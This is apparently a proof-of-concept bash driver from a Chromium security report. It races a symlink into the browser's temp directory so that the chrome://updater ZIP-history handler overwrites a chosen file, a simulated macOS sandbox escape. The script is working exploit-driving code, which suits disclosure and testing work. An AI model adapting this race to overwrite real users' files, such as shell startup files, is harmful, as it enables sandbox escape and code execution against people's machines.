#!/bin/bash
# POC driver for the chrome://updater UnzipUpdaterHistoryFilesImpl symlink
# TOCTOU. Demonstrates that the browser process's
#   mkdtemp(<tmp>/...scoped_dir.XXXXXX)
#   creat(<tmpdir>/input.zip)   // base::WriteFile, no O_NOFOLLOW/O_EXCL
# sequence can be raced by a same-UID process (on macOS: a compromised
# sandboxed network/GPU/on-device-model-execution child with file-write* on
# _CS_DARWIN_USER_TEMP_DIR) to redirect the write to an arbitrary file via a
# planted symlink.
#
# Prereq: Chromium built with the app.ts patch in chromium-changes.patch so
# that loading chrome://updater auto-issues UnzipUpdaterHistoryFiles 500 times
# (simulating the user using the "Load history" ZIP picker — the same Mojo IPC
# the real UI sends from processHistoryFiles()).

set -uo pipefail

CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
HERE="$(cd "$(dirname "$0")" && pwd)"
CDP_PORT="${CDP_PORT:-9444}"

# Dedicated temp dir keeps the inotify watch quiet and matches the macOS
# scenario where the child knows the per-user darwin-user-temp-dir path
# (passed to its sandbox as the DARWIN_USER_TEMP_DIR seatbelt parameter).
POC_TMPDIR="$(mktemp -d /tmp/poc-shared-tmp.XXXXXX)"
TARGET="${POC_TMPDIR}/victim_zshrc"
PROFILE="$(mktemp -d /tmp/poc-profile.XXXXXX)"

cleanup() {
  [[ -n "${RACE_PID:-}"   ]] && kill -9 "${RACE_PID}"   2>/dev/null
  [[ -n "${CHROME_PID:-}" ]] && kill -9 "${CHROME_PID}" 2>/dev/null
  wait 2>/dev/null
}
trap cleanup EXIT

echo "ORIGINAL CONTENT — must NOT survive if the race is won" > "${TARGET}"
echo "[*] target file: ${TARGET}"
echo "[*] original sha256: $(sha256sum "${TARGET}")"

echo "[*] building race tool"
cc -O2 -o "${HERE}/race" "${HERE}/race.c"

echo "[*] starting symlink race (simulated compromised sandboxed child)"
"${HERE}/race" "${POC_TMPDIR}" "${TARGET}" > "${HERE}/race.log" 2>&1 &
RACE_PID=$!
sleep 0.2

echo "[*] launching browser with TMPDIR=${POC_TMPDIR}"
TMPDIR="${POC_TMPDIR}" "${CHROME}" \
    --no-sandbox \
    --no-first-run --no-default-browser-check \
    --disable-gpu --use-gl=disabled \
    --remote-debugging-port="${CDP_PORT}" --remote-allow-origins='*' \
    --enable-logging=stderr \
    --user-data-dir="${PROFILE}" \
    "about:blank" > "${HERE}/chrome.log" 2>&1 &
CHROME_PID=$!

echo "[*] waiting for DevTools endpoint"
for i in $(seq 1 60); do
  curl -sf "http://localhost:${CDP_PORT}/json/version" >/dev/null 2>&1 && break
  sleep 0.5
done

# A fresh profile may open chrome://newtab/ and ignore the startup URL, so we
# explicitly open chrome://updater via the DevTools HTTP endpoint. This is the
# automation analogue of the user typing chrome://updater in the omnibox.
echo "[*] opening chrome://updater (user navigates to internals page)"
curl -s -X PUT "http://localhost:${CDP_PORT}/json/new?chrome://updater" >/dev/null

# Poll the target for modification by the browser process.
for i in $(seq 1 120); do
  if grep -q "POC_SYMLINK_OVERWRITE_PAYLOAD" "${TARGET}" 2>/dev/null; then
    break
  fi
  sleep 0.5
done

echo
echo "============================================================"
echo "[*] race tool log (last 20 lines):"
tail -n 20 "${HERE}/race.log" || true
echo "============================================================"
echo "[*] target file (${TARGET}) final contents:"
echo "------------------------------------------------------------"
cat "${TARGET}"
echo "------------------------------------------------------------"
echo "[*] final sha256: $(sha256sum "${TARGET}")"
echo

if grep -q "POC_SYMLINK_OVERWRITE_PAYLOAD" "${TARGET}"; then
  echo "[+] SUCCESS: browser process followed planted input.zip symlink"
  echo "[+]          and overwrote the target with the user-supplied ZIP bytes."
  echo "[+]          (On macOS this is a sandbox escape: the symlink-planting"
  echo "[+]           loop runs inside the network/GPU/ODM seatbelt sandbox,"
  echo "[+]           which has file-write* on _CS_DARWIN_USER_TEMP_DIR.)"
  exit 0
else
  echo "[-] FAILED: target was not overwritten within timeout."
  echo "    Race log summary:"
  grep -c "WIN" "${HERE}/race.log" | xargs echo "      symlink plants that landed before creat():"
  echo "    See race.log / chrome.log for diagnostics."
  exit 1
fi
